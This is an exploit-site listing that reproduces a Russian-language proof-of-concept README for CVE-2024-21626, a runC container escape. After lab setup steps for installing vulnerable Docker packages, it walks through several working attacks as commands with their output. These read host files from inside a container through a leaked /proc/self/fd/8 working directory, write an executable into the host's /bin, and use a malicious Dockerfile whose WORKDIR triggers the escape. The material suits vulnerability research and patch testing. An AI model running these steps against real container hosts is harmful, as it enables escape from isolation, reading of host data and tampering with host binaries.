Sploitus

Exploit for CVE-2024-21626

kitploit · 2026-08-27

Exploit Code

MARKDOWN334 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-SK3PPER-CVE-2024-21626
# PoC уязвимости CVE-2024-21626

Полную статью с подробным объяснением читайте здесь.

## Связанная статья

В ходе исследования **CVE-2024–21626** я обнаружил уязвимость, которая была упущена в более старых версиях Docker и runC. Чтобы узнать больше о том, что я нашел, прочитайте следующую статью: «Изучение скрытых уязвимостей в старых версиях Docker: уроки CVE-2024–21626».

## Настройка окружения 🔨

#### A. Скачайте и установите версию Ubuntu 22.04.1 LTS

Во время установки не отмечайте флажок для загрузки обновлений системы.

#### B. Установите образ дополнений гостевой системы (Guest Additions CD), чтобы легко работать с виртуальной машиной

  * вставьте образ дополнений гостевой системы

  * откройте терминал в смонтированном образе CD

  * запустите скрипт VBoxLinuxAdditions.run

root@kitploit:~
        
        demo@demo-pc:/media/demo/VBox_GAs_7.0.14$ sudo ./VBoxLinuxAdditions.run 
        




#### C. Установите уязвимую версию Docker и связанные компоненты

  * Настройте APT-репозиторий Docker

root@kitploit:~
        
        # set up Docker's apt repository: add Docker's official GPG key:
        sudo apt update
        sudo apt install ca-certificates curl
        sudo install -m 0755 -d /etc/apt/keyrings
        sudo curl -fsSL https://download.docker.com/linux/ubuntu/gpg -o /etc/apt/keyrings/docker.asc
        sudo chmod a+r /etc/apt/keyrings/docker.asc
        
        # add the repository to Apt sources:
        echo \
        "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.asc] https://download.docker.com/linux/ubuntu \
        $(. /etc/os-release && echo "$VERSION_CODENAME") stable" | \
        sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
        sudo apt update
        

  * Найдите и установите подходящую версию различных компонентов (docker-ce, docker-ce-cli, containerd.io, docker-buildx-plugin).

root@kitploit:~
        
        # search in the cache reposiroty the docker-ce available packages
        apt-cache madison docker-ce | awk '{ print $3 }'
        # setup the chosen version
        VERSION_STRING=5:24.0.6-1~ubuntu.22.04~jammy
        
        # search in the cache reposiroty the containerd.io and docker-buildx-plugin available packages
        apt-cache madison containerd.io | awk '{ print $3 }'
        apt-cache madison docker-buildx-plugin | awk '{ print $3 }'docker-buildx-plugin
        
        # install the packages
        sudo apt install docker-ce=$VERSION_STRING \
            docker-ce-cli=$VERSION_STRING \
            containerd.io=1.6.4-1 \
            docker-buildx-plugin=0.10.2-1~ubuntu.22.04~jammy
        




Если пакеты слишком старые для поиска (см. также старый репозиторий онлайн) или если вы не можете использовать APT-репозиторий Docker для установки Docker Engine, вы можете скачать deb-файл для вашего релиза и установить его вручную. Перейдите по адресу https://download.docker.com/linux/ubuntu/dists/ или используйте deb-файлы из моего репозитория GitHub и установите их.

root@kitploit:~
    
    
    # clone CVE-2024-21626 repository
    git clone some-email@example.com:Sk3pper/CVE-2024-21626.git
    
    # install deb files
    cd CVE-2024-21626/deb
    sudo dpkg -i ./containerd.io_1.6.4-1_amd64.deb \
    ./docker-ce_24.0.6-1~ubuntu.22.04~jammy_amd64.deb \
    ./docker-ce-cli_24.0.6-1~ubuntu.22.04~jammy_amd64.deb \
    ./docker-buildx-plugin_0.10.2-1~ubuntu.22.04~jammy_amd64.deb
    

#### D. Проверьте установленные версии

root@kitploit:~
    
    
    sudo docker version
    runc --version    
    containerd --version
    uname -r
    

#### E. Проверьте, уязвимо ли ядро

Для корректной работы уязвимости требуется наличие системного вызова openat2. Проверьте вручную с помощью следующей команды:

root@kitploit:~
    
    
    grep openat2 /proc/kallsyms 
    

Могут быть случаи, когда необходимо проверить с помощью следующего скрипта на Golang, доступного в моем репозитории GitHub, наличие системного вызова openat2.

root@kitploit:~
    
    
    # clone CVE-2024-21626 repository
    git clone some-email@example.com:Sk3pper/CVE-2024-21626.git
    
    # run testOpenat2
    cd testOpenat2
    ./testOpenat2
    The unix.Openat2 syscall is present on this system.
    

Бинарный файл был собран со следующими флагами

root@kitploit:~
    
    
    env GOOS=linux GOARCH=amd64 go build testOpenat2.go
    

## Проверьте, уязвима ли цель 🧐

Запустите checkVulnerability.sh и проверьте, выводится ли файл в терминал

root@kitploit:~
    
    
    # clone CVE-2024-21626 repository
    git clone some-email@example.com:Sk3pper/CVE-2024-21626.git
    
    # run checkVulnerability.sh
    chmod +x checkVulnerability.sh
    ./checkVulnerability.sh
    

## Атака 1 🦏

Эксплуатация через установку рабочего каталога в `/proc/self/fd/`

root@kitploit:~
    
    
    # run container with working directory to /proc/self/fd/8
    sudo docker run -w /proc/self/fd/8 --name cve-2024-21626 --rm -it debian:bookworm
    
    # read host filesystem files inside the container
    root@c4c0a9c99be6:.# cat ../../../../../../../../../../../etc/hostname
    job-working-directory: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
    demo-pc
    

![exploit via running a container](https://assets.kitploit.com/production/public/readmes/20683/c07ddbe0d3dff75edac6940ac94fcf931493f340a067ff4440a04bd0d3d0aba8.png)

## Атака 2 🐯

Эксплуатация через docker exec:

Откройте один терминал и выполните следующие команды

root@kitploit:~
    
    
    # terminal 1
    # run container
    demo@demo-pc:~$ sudo docker run --name cve-2024-21626 --rm -it debian:bookworm
    # create symlinks
    root@d98de5a852d7:/# ln -sf /proc/self/fd/8/ /foo
    root@d98de5a852d7:/# ln -sf /proc/self/fd/8/ /bar
    

Откройте другой терминал и выполните следующую команду

root@kitploit:~
    
    
    # terminal 2: exec inside the container and set working directory
    sudo docker exec -it -w /bar cve-2024-21626 sleep 120
    

Вернитесь в первый терминал и получите доступ к файловой системе хоста

root@kitploit:~
    
    
    # terminal 1: find actula pid with the right cmdline
    root@d98de5a852d7:/# ls -f /proc
    .    irq   kmsg   kcore   mdstat   cpuinfo  sysvipc   softirqs  bootconfig  execdomains    sysrq-trigger      15
    ..   net   misc   locks   mounts   devices  version   zoneinfo  interrupts  filesystems    version_signature
    fb   sys   mtrr   swaps   uptime   ioports  consoles  buddyinfo  kpagecount  kpagecgroup    self
    fs   tty   scsi   asound  vmstat   loadavg  kallsyms  diskstats  kpageflags  vmallocinfo    thread-self
    bus  acpi  stat   crypto  cgroups  meminfo  pressure  key-users  partitions  pagetypeinfo   1
    dma  keys  iomem  driver  cmdline  modules  slabinfo  schedstat  timer_list  dynamic_debug  9
        
    root@d98de5a852d7:/# cat /proc/9/cmdline 
    sleep120
    
    # read host filesystem files
    root@d98de5a852d7:/# cat /proc/9/cwd/../../../../../../../../../etc/hostname
    demo-pc
    
    # read container filesystem files
    root@d98de5a852d7:/# cat /etc/hostname 
    d98de5a852d7
    

![Exploit via execing into a running container](https://assets.kitploit.com/production/public/readmes/20683/46720f624417304aa32fa5ebcd0b49652d9ecaf07dff0d013e3bc280c2a31579.png)

## Атака 3a 🦁

root@kitploit:~
    
    
    # Attack 3a is attack 1 but adapted to overwrite a host binary
    
    # run container with the working direcotry to /proc/self/fd/8
    sudo docker run -w /proc/self/fd/8 --name cve-2024-21626 --rm -it debian:bookworm
    shell-init: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
    root@e5b0730af51d:.# 
    
    # write file in the host container
    root@b6873018a7e8:.# cat > ../../../../../../../../bin/cve2024_21626 << EOF
    #!/bin/bash
    echo "Hello CVE-2024-21626"
    EOF
    
    # change chmod
    root@b6873018a7e8:.# ../../../../../bin/chmod +x ../../../../bin/cve2024_21626
    job-working-directory: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
    
    # check if the file is present in the host
    demo@demo-pc:/bin$ ls -la | grep cve
    -rwxr-xr-x  1 root root          40 mar  7 13:24 cve2024_21626
    
    # try it in the host
    demo@demo-pc:/bin$ sudo ./cve2024_21626 
    Hello CVE-2024-21626
    

![Exploit via execing into a running container](https://assets.kitploit.com/production/public/readmes/20683/72e409fdc46bf20c43041643d2c64ffee49ade33dface58b298543ee1ca9050c.png)

## Атака 3b 🦍

root@kitploit:~
    
    
    # scenario 3b: host binary overwrite attack
    # Attack 3b is attack 2 but adapted to overwrite a host binary
    
    # terminal 1
    # run container
    sudo docker run --name cve-2024-21626 --rm -it debian:bookworm
    
    # create symlinks
    root@d98de5a852d7:/# ln -sf /proc/self/fd/8/ /foo
    root@d98de5a852d7:/# ln -sf /proc/self/fd/8/ /bar
    
    # terminal 2: exec inside the container and set working directory
    sudo docker exec -it -w /bar cve-2024-21626 sleep 1000
    
    # terminal 1
    # find actula pid with the right cmdline
    root@d98de5a852d7:/# ls -f /proc
    .    irq   kmsg   kcore   mdstat   cpuinfo  sysvipc   softirqs  bootconfig  execdomains    sysrq-trigger      15
    ..   net   misc   locks   mounts   devices  version   zoneinfo  interrupts  filesystems    version_signature
    fb   sys   mtrr   swaps   uptime   ioports  consoles  buddyinfo  kpagecount  kpagecgroup    self
    fs   tty   scsi   asound  vmstat   loadavg  kallsyms  diskstats  kpageflags  vmallocinfo    thread-self
    bus  acpi  stat   crypto  cgroups  meminfo  pressure  key-users  partitions  pagetypeinfo   1
    dma  keys  iomem  driver  cmdline  modules  slabinfo  schedstat  timer_list  dynamic_debug  9
    
    root@d98de5a852d7:/# cat /proc/9/cmdline 
    sleep120
    
    # write file in the host container
    root@b6873018a7e8:.# cat > /proc/8/cwd/../../../../bin/cve2024_21626 << EOF
    #!/bin/bash
    echo "Hello CVE-2024-21626"
    EOF
    
    # change chmod
    root@b6873018a7e8:.# /proc/8/cwd/../../../../bin/chmod +x \
                         /proc/8/cwd/../../../../bin/cve2024_21626
    job-working-directory: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
    
    # check if the file is present in the host
    demo@demo-pc:/bin$ ls -la | grep cve
    -rwxr-xr-x  1 root root          40 mar  7 13:39 cve2024_21626
    
    # try it in the host
    demo@demo-pc:/bin$ sudo ./cve2024_21626 
    Hello CVE-2024-21626
    

## Атака с помощью вредоносного образа 🐳

Дан следующий Dockerfile

root@kitploit:~
    
    
    FROM ubuntu:20.04
    RUN apt-get update -y && apt-get install netcat -y
    WORKDIR /proc/self/fd/8
    

Соберите и запустите образ

root@kitploit:~
    
    
    sudo docker  build . -t devil-image
    
    sudo docker run -it --rm devil-image bash
    shell-init: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
    
    root@415a2e1f079f:.# cat ../../../../../etc/hostname
    job-working-directory: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
    demo-pc
    

![Exploit via malicious image](https://assets.kitploit.com/production/public/readmes/20683/f737459e0d4a61d19b4858f67ff45a378ef8b2061c5a415c9ffae7de2bb0b217.png)